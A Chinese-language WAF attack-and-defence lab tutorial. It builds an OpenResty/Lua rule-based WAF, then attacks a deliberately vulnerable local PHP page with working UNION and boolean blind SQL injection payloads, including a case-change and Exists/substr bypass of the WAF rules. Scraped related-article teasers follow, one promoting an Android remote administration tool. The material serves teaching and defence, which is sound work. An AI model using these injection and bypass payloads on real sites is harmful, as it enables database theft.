当前位置: 首页 > news >正文

WAF渗透攻防实践(16)

预备知识
WAF:WEB攻击一直是黑客攻击的主流手段,WAF作为网站安全基础设施的标配。Web Application Firewall,Web应用防火墙,通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的产品。  

Nginx:Nginx 是一个高性能的HTTP和反向代理服务器,其特点是占有内存少,并发能力强。 

Lua:Lua是一个小巧的脚本语言,由标准C编写而成,几乎在所有操作系统和平台上都可以编译运行。Lua脚本可以很容易的被C/C++ 代码调用,也可以反过来调用C/C++的函数,这使得Lua在应用程序中可以被广泛应用。 

OpenResty:Nginx开发主要是以C/C++模块的形式进行,整体学习和开发成本偏高。如果有一种简单的语言来实现Web应用的开发,那么Nginx绝对是把瑞士军刀;目前市面上用的非常成熟的扩展是由章亦春将Lua和Nginx粘合的ngx_lua模块,并将Nginx核心、LuaJIT、ngx_lua模块、许多有用的Lua库和常用的第三方Nginx模块组合在一起成为OpenResty。这样开发人员就可以安装OpenResty,使用Lua编写脚本,然后部署到Nginx Web容器中运行。从而非常轻松就能开发出高性能的Web服务。

参考资料

OpenResty官方文档 https://openresty.org/en/

实验目的
1)本实验通过搭建一个包含SQL注入漏洞的网站,在无WAF的情况下模拟进行渗透测试,获得flag(包含英文、符号等不超过15位) 

2) 使用自制的WAF进行防御,读者可以查看、修改规则,使其直观感受基于规则的WAF的工作原理和防御机制。

3) 分析相关防御规则,尝试使用其他方法进行WAF绕过,使读者感受攻防双方的博弈过程。

实验环境
Ubuntu 64bit、IP地址:10.1.1.47

网络拓扑:如下图,Nginx作为前端反向代理,监听80端口,并可使用ngx_lua对流量进行过滤。后端目标web使用Apache作为Web容器,并使用php构建一个简易的Web。 

大致流程:用户访问目标地址,Nginx反向代理接受请求,Ngx_lua模块将流量过滤后,将请求发送给后端web,后端web处理后将结果返回给Nginx,Nginx返回给用户。

说明:事实上,目前流行的云WAF主要也是基于反向代理,通过域名解析将访问流量引入云端进行过滤,之后云端访问众多需要保护的Web站点,并将结果返回给用户。云WAF往往和后端众多受保护的WEB服务身处不同服务器,并且后端服务一般不能直接访问。本实验为了方便读者实验和操作,便将WAF和后端Web放置同一台服务器,并将后端Web的默认端口80修改为8080来实现,请读者知悉。

所用软件:firefox、hackbar插件、python

实验步骤一
首先关闭WAF的防御功能(默认为关闭状态),使用firefox浏览器,对目标web进行查看渗透,获得flag。

1.   实验环境准备

安装firefox

安装配置好openresty,使用ngx_lua模块制作基于规则的WAF,修改nginx配置文件,配置其为后台web进行反向代理

2.   查看、修改WAF配置(文件位置在/usr/local/openresty/nginx/conf/waf/config.lua),关闭防御(默认为关闭状态,此步骤无需进行)

3.   使用firefox进行渗透测试,通过单引号截断sql查询语句:

http://127.0.0.1/index.php?id=1' and 1=1 %23

4.   可以利用and 1=2进行union注入,获取注入结果回显。

http://127.0.0.1/index.php?id=1' and 1=2 union select 1,2 %23

5.   2的位置可以回显,接下来猜测表名,当from flag的时候可以正常回显:

http://127.0.0.1/index.php?id=1' and 1=2 union select 1,2 from flag %23

6.   表名错误的话则查询不到数据:

      http://127.0.0.1/index.php?id=1' and 1=2 union select 1,2 from flag222 %23

7.   列名类似,最终的poc为:http://127.0.0.1/index.php?id=1' and 1=2 union select 1,flag from flag %23

8.   得到flag为:SQLi so easy!

实验步骤二
任务描述:打开WAF的防御功能,使用firefox浏览器对目标web进行渗透尝试


1.   开启WAF防御功能,修改/usr/local/openresty/nginx/conf/waf/config.lua文件,将off修改为on

2.   重新加载nginx,命令为nginx -s reload,使得WAF配置修改生效

3.   使用上述成功的poc进行注入尝试,发现此时的注入攻击已经被WAF拦截

4.查看WAF的过滤规则,文件在/usr/local/openresty/nginx/conf/waf/rule-config/目录下的args.rule文件,打开后文件内容为

5.可以看出上述注入攻击poc,http://127.0.0.1/index.php?id=1' and 1=2 union select 1,flag from flag %23 触发了如下图的过滤规则



实验步骤三
任务描述:分析WAF规则,思考如何对上述防御进行绕过


1.   可以发现相关防御规则只是对某些关键词(如select和from、union和select等)联合使用进行规则匹配,如果匹配成功,则进行拦截。

2.   而上述攻击poc触发了相关的union+select的规则,http://127.0.0.1/index.php?id=1' and 1=2 union select 1,flag from flag %23,而且关键词并没有对忽略大小写,因此可以尝试替换关键词的大小写进行绕过:

3.   如果WAF对关键词大小写进行忽略,还可以考虑使用Bool型盲注:

通过substr取出第一位然后用ascii码判断,可以得到第一位的ascii码为102,即’f’,并且没有触发任何WAF规则,成功获得回显。

http://127.0.0.1/index.php?id=1' && Exists(Select flag from flag where ascii(substr(flag,1,1))=102) %23

4.   而如果判断不对,则没有回显。

5.   因此可以通过盲注脚本,根据页面的回显对每一位字符进行猜测,从而也可攻击成功,获得flag。可直接运行python poc.py命令进行盲注。(poc.py位于桌面)

实验截图: 

 

 

 poc.py如下

 

相关文章:

WAF渗透攻防实践(16)

预备知识 WAF:WEB攻击一直是黑客攻击的主流手段,WAF作为网站安全基础设施的标配。Web Application Firewall,Web应用防火墙,通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的产品。 Nginx:Nginx 是…...

高并发场景下机器性能优化sop

之前接触过一些高并发场景下的性能优化,最近过年时候又碰巧看了一些相关资料,趁着还没忘干净,手动整理一下,有一些是在别处看到的,有一些是自己的亲身经历,因为偏向于自己整理笔记所以很多地方都只是列了一…...

【女程序员进大厂面试经验】

*那些犹豫想做技术又不敢的女生一定不要胆怯,就认准了这条路坚持走下去。大三的学生已经可以开始投简历、寻找面试机会了。先说一下我的情况吧!我是郑州一双普通本科的女大学生,刚找工作的时候也很迷茫。同班的女生有做产品的、有做前端的、还…...

计算机网络笔记(复试准备)第一章

计算机网络笔记(复试准备) 第一章 网络,互联网与因特网 网络由若干个结点和连接这些结点的链路组成 多个网络通过路由器连接起来这也就形成了一个更大的网络即是我们熟知的互联网也就是“网络的网络” 因特网是世界上最大的网络 问&#xf…...

WooCommerce 上传文件 Vanquish v71.6

今天用wp 搭一个b2c外贸跨境电商网站 找 了一个文件上传插件,可以 上传无限数量的文件,没有文件大小限制WooCommerce 上传文件允许您上传无限数量的文件,没有任何文件大小限制。得益于其创新的块上传技术,它可以不受限制地上传任何…...

zabbix4.0 Web页面配置 - 聚合图形的实现

目录 1、主机组Host groups配置 创建主机组 ​编辑 将一个主机添加至刚才创建的主机里面 2、用户参数UserParameter设置 示例: 添加一个参数:show.host.messages 模拟zabbix模板里面的参数再添加一个userparameter 3、触发器设置 示例: …...

计算机网络 — UDP协议(看这一篇就可以

UDP协议UDP是传输层的重要协议之一,另一重要协议为TCP协议。两者对比:TCP协议复杂,但传输可靠。UDP协议简单,但传输不可靠。UDP协议全称为:User Datagram Protocol(用户数据报协议)。它是一个简…...

Pikachu靶场(暴力破解)

目录标题暴力破解(登录)基于表单的暴力破解验证码绕过(on server)验证码绕过(on client)token防爆破?上学期用这个靶场写过作业,现在抽空给它过一遍,由于需要抓包,从而通过小皮,使用本地(127.0…...

浅谈script,link,import,@import引入

一.页面导入样式,使用link和import有什么区别 链接式和导入式有什么区别(链接式,导入式,内嵌式,行内) 1.从属关系:link是html标签,import是css提供的. 2.加载差异:页面加载时,link会…...

【CSS】CSS 层叠样式表 ① ( 简介 | CSS 引入方式 - 内联样式 | 内联样式语法 | 内联样式缺点 )

文章目录一、CSS 层叠样式表二、CSS 引入方式 - 内联样式1、内联样式语法2、内联样式缺点3、内联样式代码示例① 核心代码示例② 完整代码示例③ 执行结果一、CSS 层叠样式表 CSS 全称 Cascading Style Sheets , 层叠样式表 ; 作用如下 : 设置 HTML 页面 文本内容 的 字体 , 颜…...

12.STM32系统定时器-SysTick

目录 1.系统定时器-SysTick 2.SysTick定时时间的计算 3.SysTick结构体 4.SysTick固件库函数 5.SysTick中断优先级 1.系统定时器-SysTick SysTick:24位系统定时器,只能递减,存在于内核嵌套在NVIC中。所有的Cortex-M中都有这个系统定时器。 重装载值…...

28张图讲解支付系统的通用设计,漂亮!

支付永远是一个公司的核心领域,因为这是一个有交易属性公司的命脉。那么,支付系统到底长什么样,又是怎么运行交互的呢?抛开带有支付牌照的金融公司的支付架构,下述链路和系统组成基本上符合绝大多数支付场景。其实整体…...

【5】linux命令每日分享——touch创建文件

大家好,这里是sdust-vrlab,Linux是一种免费使用和自由传播的类UNIX操作系统,Linux的基本思想有两点:一切都是文件;每个文件都有确定的用途;linux涉及到IT行业的方方面面,在我们日常的学习中&…...

TypeScript快速上手语法+结合vue3用法

TypeScript快速上手语法结合vue3用法 前言: 本篇内容不涉及TypeScript安装以及配置,具体安装及配置篇可以看下面目录,本篇只涉及TypeScript语法相关内容,及结合vue3的用法。不讲废话,简单直接直接开撸。 目录 Type…...

一,下载iPerf3最新源代码

本文目录普通下载方式:git下载方式:普通下载方式: 如果你只是要阅读源代码,不涉及到编译安装修改源代码,那么可以简单的通过此方式下载代码。如果你希望编译安装修改源代码,那么建议通过git来进行源代码的…...

keithley6487/吉时利6487皮安表

产品概览 5-1/2 位 Keithley 6487 皮安表/电压源改进了屡获殊荣的 Keithley 6485 皮安表的测量能力,并增加了高分辨率 500V 电源。它提供更高的精度和更快的上升时间,以及与电容设备一起使用的阻尼功能。这款经济高效的仪器具有八个电流测量范围和高速自…...

sql命令大全

一:基本命令 1.数据库连接 mysql -h 主机名 -u root -p2.添加用户 insert into user (host,user,password,select_priv,insert_priv,update_priv) values (localhost,guest,password(guest123),Y,Y,Y);3.创建用户 create user usernamehost identified by passw…...

Ubuntu 定时执行脚本

一、关于crontab cron是一个Linux定时执行工具,可以在无需人工干预的情况下运行作业。在Ubuntu中,cron是被默认安装并启动的。 二、例子 直接上例子,来看看怎么用。 需求:定时每天8点,自动执行保存在/root目录下he…...

Python带你制作一个属于自己的多功能音乐播放器

前言 嗨喽,大家好呀~这里是爱看美女的茜茜呐 就是用Python做一个简易的音乐播放器,废话不多说,咱们直接开干 当然,今天做这个肯定不是最简单的,最简单的音乐播放器,9行代码足以 完整源码等直接在文末名片领…...

Redis 被问麻了...

Redis是面试中绕不过的槛,只要在简历中写了用过Redis,肯定逃不过。今天我们就来模拟一下面试官在Redis这个话题上是如何一步一步深入,全面考察候选人对于Redis的掌握情况。 小张: 面试官,你好。我是来参加面试的。 …...

AhMyth:跨平台Android远程管理工具的完整指南与实战教程

AhMyth:跨平台Android远程管理工具的完整指南与实战教程 【免费下载链接】AhMyth Cross-Platform Android Remote Administration Tool | The only maintained version of AhMyth on github | A revival of the original repository at https://GitHub.com/AhMyth/A…...

数字图像质量提升技术【附代码】

✨ 长期致力于图像质量提升、计算机图形处理器、并行加速、非均匀校正、图像超分辨、反射光消除、深度学习、生成对抗网络研究工作,擅长数据搜集与处理、建模仿真、程序编写、仿真设计。 ✅ 专业定制毕设、代码 ✅ 如需沟通交流,点击《获取方式》 &#…...

读《AI时代成为行业精英的融合型学习法》

这段时间看了日本科普作家竹内熏写的《AI时代成为行业精英的融合型学习法》一书,想说说自己的体会。这是一本很薄的书,一共100来页,个人觉得,在现在这个什么都不会的小白也能用AI写出几万字文章的时代,这本书可以算得上…...

知识竞赛电子计分板 vs 手工计分板:差距有多大

知识竞赛电子计分板 vs 手工计分板:差距有多大 无论是学校班级的趣味问答,还是企业年会、电视直播的知识竞赛,计分板都是整场活动的核心视觉焦点。传统的手工计分板(如白板、翻牌、纸质表格)曾陪伴我们多年&#xff0c…...

【大模型12步学习路线 · 第12步 · ③IC验证实战篇】Veri-Copilot v1.0 大结局:多模态 RAG 让 LLM “看懂“ Spec 时序图

【大模型12步学习路线 第12步 ③IC验证实战篇】Veri-Copilot v1.0 大结局:多模态 RAG 让 LLM “看懂” Spec 时序图,DATE 2027 投稿前 checklist + 12 步系列收官 系列定位:「大模型正确学习顺序」12 步系列 第 12 步 多模态 的 ③IC 验证实战篇,也是整个 36 篇系列的最后一…...

Re: Linux系统篇(十八)进程篇·三:深度硬核!全面起底 Linux 进程状态变化与内核链表动态解绑

◆ 博主名称: 晓此方-CSDN博客 大家好,欢迎来到晓此方的博客。 ⭐️Linux系列个人专栏: 【主题曲】Linux ⭐️此方的GitHub: github_此方 ⭐️Re系列专栏:我们思考 (Rethink) 我们重建 (Rebuild) 我们记录 (Record…...

使用Taotoken的Python SDK快速接入大模型API教程

🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 使用Taotoken的Python SDK快速接入大模型API教程 对于希望快速将大模型能力集成到Python应用中的开发者而言,直接对接多…...

RNA-seq公司推荐

RNA-seq公司推荐 伯远生物是国内高通量测序综合性服务商,聚焦RNA-seq全场景服务,覆盖临床、科研、农业等领域,提供一站式测序与分析解决方案; 其临床转化与大样本服务市占率领先,依托自研平台实现高通量、成本可控&…...

免费解密网易云音乐NCM格式:ncmdumpGUI完整使用指南

免费解密网易云音乐NCM格式:ncmdumpGUI完整使用指南 【免费下载链接】ncmdumpGUI C#版本网易云音乐ncm文件格式转换,Windows图形界面版本 项目地址: https://gitcode.com/gh_mirrors/nc/ncmdumpGUI 你是否在网易云音乐下载了喜欢的歌曲&#xff…...

2026这6款硬核降AIGC软件大公开,一键把AI检测率精准控到安全区!

步入 2026 年,学术圈的规则早已不是过去那个模样。从最初的查重率焦虑,到如今的 AIGC 检测风暴,整个环境正在经历一场前所未有的洗牌。AI 检测系统越来越“狡猾”,高校的审查标准也愈发严苛。光是把重复率压下去已经不够了&#x…...